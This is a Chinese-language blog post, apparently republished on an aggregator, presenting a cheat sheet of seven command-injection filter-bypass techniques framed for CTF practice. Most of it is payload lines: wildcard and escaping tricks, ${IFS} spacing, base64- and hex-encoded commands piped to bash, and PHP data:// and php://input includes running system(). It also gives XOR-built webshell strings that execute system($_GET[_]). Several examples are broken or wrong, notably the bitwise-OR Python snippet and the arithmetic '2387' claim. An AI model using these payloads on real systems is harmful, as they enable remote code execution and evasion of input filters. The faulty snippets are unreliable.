当前位置: 首页 > news >正文

CTF命令执行绕过实战:从通配符到伪协议的7种骚操作

CTF命令执行绕过实战:从通配符到伪协议的7种高阶技巧

在CTF竞赛和渗透测试中,命令执行绕过技术就像黑客手中的魔术道具——看似简单的系统限制,往往隐藏着令人拍案叫绝的破解之道。记得去年在一场线下赛中,我遇到一个过滤了所有空格和常见命令的环境,正当队友们焦头烂额时,一个${IFS}的巧妙运用让我们成功读出了flag。这种突破限制的快感,正是命令执行绕过的魅力所在。

1. 通配符的艺术:Linux的模糊匹配魔法

当题目过滤了flag这个关键词时,Linux的通配符系统就成了我们的救命稻草。*代表任意长度字符,?匹配单个字符,这些基础符号组合起来能产生惊人的效果:

cat fl* # 匹配所有fl开头的文件 cat ?la* # 匹配第二个字符为l,第三个为a的文件 /bin/c?t fl?g # 双通配符组合

更精妙的是结合时间排序的ls -t技巧。先创建几个特殊命名的文件:

touch "ag" touch "fl\\" touch "t \\" touch "ca\\"

然后用时间排序生成可执行命令:

ls -t > shell # 生成按时间排序的文件列表 sh shell # 执行生成的命令序列

注意:反斜杠在这里起到换行连接作用,实际会组合成cat flag命令

2. 符号变形术:绕过过滤的视觉欺骗

当系统过滤了特定字符时,我们可以通过各种符号变换来欺骗检测:

转义符号

ca\t /fl\ag # 使用反斜杠转义 cat fl''ag # 用单引号分割关键词

变量替换

ca$*t fl$*ag # 使用$*空变量 ca$@t fl$@ag # 使用$@空变量 ca${X}t f${X}lag # 使用未定义变量

特殊分隔符

cat${IFS}flag # IFS是内部字段分隔符 a=fl;b=ag;cat$a$b # 变量拼接法 {cat,flag} # 花括号扩展语法

3. 编码魔术:Base64与十六进制的障眼法

当直接命令被严格过滤时,编码转换可以创造新的攻击面:

Base64编码

echo 'Y2F0IGZsYWc=' | base64 -d | bash # 解码执行"cat flag" `echo ZmxhZwo= | base64 -d` # 反引号执行解码结果

十六进制编码

echo '63617420666c6167' | xxd -r -p | bash # 解码执行"cat flag"

URL编码

curl -X POST http://target --data "cmd=%63%61%74%20%66%6c%61%67"

4. 命令拼接术:碎片化重组技术

将命令拆分成多个部分再重组,可以有效绕过关键词检测:

变量拼接

cmd1="c";cmd2="at";$cmd1$cmd2 flag

反引号执行

cat `ls | grep fl` # 执行ls结果作为参数

管道符组合

echo "fl" > /tmp/a; echo "ag" > /tmp/b cat /tmp/`paste -d '' /tmp/a /tmp/b`

5. 非常规命令:被遗忘的Linux工具链

cattac等常见命令被禁时,这些替代方案往往能出奇制胜:

命令功能描述使用示例
more分页显示文件more flag
less高级分页工具less flag
head/tail显示文件首尾内容tail -n 20 flag
od二进制方式读取od -c flag
xxd十六进制查看xxd flag
rev反向输出文件内容rev flag
strings提取可打印字符strings flag

6. 伪协议攻击:PHP的潘多拉魔盒

在Web类题目中,PHP伪协议往往能绕过各种限制:

data协议

include($_GET['x']); // ?x=data://text/plain,<?=system('cat flag');?>

php://input

POST /target.php?cmd=php://input Body: <?php system("cat /flag");?>

filter链

include('php://filter/convert.base64-encode/resource=flag.php'); // 输出base64编码后的文件内容

7. 无字符RCE:异或与或运算的终极魔法

当所有可见字符都被过滤时,这些技术依然可以构造有效命令:

异或运算

$_=('%01'^'`').('%13'^'`').('%13'^'`'); // 构造"cat" $__='?'.('>'>'<'); // 构造"_GET" $___=$$__; $_($___[_]); // 最终执行system($_GET[_])

或运算

# Python实现无字母命令生成 cmd = (lambda x,y: x|y)(0x636174,0x20666c6167) os.system(str(cmd))

在实战中,我曾遇到一个仅允许数字和$()的环境,最终通过嵌套计算实现了命令执行:

$(($((1<<1))$((1<<3))$((1<<4))$((1<<5)))) # 计算结果为2387,配合其他技巧最终getshell

命令执行绕过的艺术在于不断突破思维定式。有一次比赛,我花了三小时尝试各种复杂绕过,最后发现题目其实只是把flag放在了/fl\ag路径——有时候最简单的转义反而最容易被忽略。建议在日常训练中建立自己的绕过技巧cheatsheet,并多分析历年CTF赛题的官方writeup,这些实战经验往往比理论更有价值。

http://www.jsqmd.com/news/508291/

相关文章:

  • nlp_structbert_sentence-similarity_chinese-large完整指南:从Docker镜像拉取到Web界面访问全流程
  • 别再让GPT瞎猜了!手把手教你用Chain-of-Thought提示词,让大模型推理能力翻倍
  • Xycom 2000T 97957-121操作界面终端模块
  • 如何在MacBook Pro M1上快速部署llama.cpp实现本地AI推理(Metal加速版)
  • 避坑指南:NLTK下载报错‘punkt not found‘?手把手教你离线安装NLTK_data
  • 3步搞定青龙面板依赖:QLDependency新手无忧安装指南
  • 光伏储能并网发电模型:基于电池SOC区间动态调整MPPT与恒功率输出,双向变流器稳定公共直流母线电压
  • OCR文字检测模型cv_resnet18_ocr-detection:5分钟快速部署WebUI教程
  • Qwen-Image多场景落地:支持边缘计算、私有云、混合云三种部署形态的统一镜像
  • 乙巳马年春联生成终端Ubuntu20.04系统部署全记录
  • Fish Speech-1.5语音合成效果展示:韩语K-pop歌词自然节奏朗读实录
  • Qt Graphics View 框架深度解析:从架构设计到百万图元渲染实战
  • XYCOM 3512T操作员接口面板
  • 6SL3244-0BB12-1FA0西门子总线型控制单元
  • MedGemma 1.5:小白友好的本地医疗助手,从部署到提问
  • DDColor智能修复老照片:ComfyUI可视化界面,操作简单效果惊艳
  • 2026年西安软起动器厂家最新推荐:低压软起动器、高压软起动装置、高压固态软起动装置、高压固态软起动器厂家选择指南——西安伏特尔电气 - 海棠依旧大
  • Google Agent Development Kit (ADK) 指南 第三章:核心概念与架构
  • Realistic Vision V5.1从零开始教程:本地无网运行+宽屏交互界面快速上手
  • Qwen3-32B-Chat企业数字员工构建:RPA+Qwen3实现自动化办公流程
  • 计算机毕业设计:Python基于时间序列的新闻舆情预警平台 Flask框架 爬虫 SnowNLP ARIMA 可视化 数据分析 大数据(建议收藏)✅
  • Lychee模型微调指南:适配特定领域数据
  • 探索4电平MMC仿真模型:模块化多电平的奇妙世界
  • 配电网可靠性评估程序:Matlab实现之路
  • Qwen3-Embedding-4B效果展示:多轮对话与长文档理解能力实测
  • DataHub实战:如何利用血缘关系和实时通知,构建你的数据变更‘预警系统’
  • Stable Yogi Leather-Dress-Collection动漫设计应用:角色皮衣穿搭方案快速验证工具
  • FLUX.1-dev在医疗影像领域的创新应用:合成数据生成方案
  • GD32E230驱动W25Q64 SPI Flash嵌入式实现
  • 别怕黑窗口:写给小白的 CLI 入门指南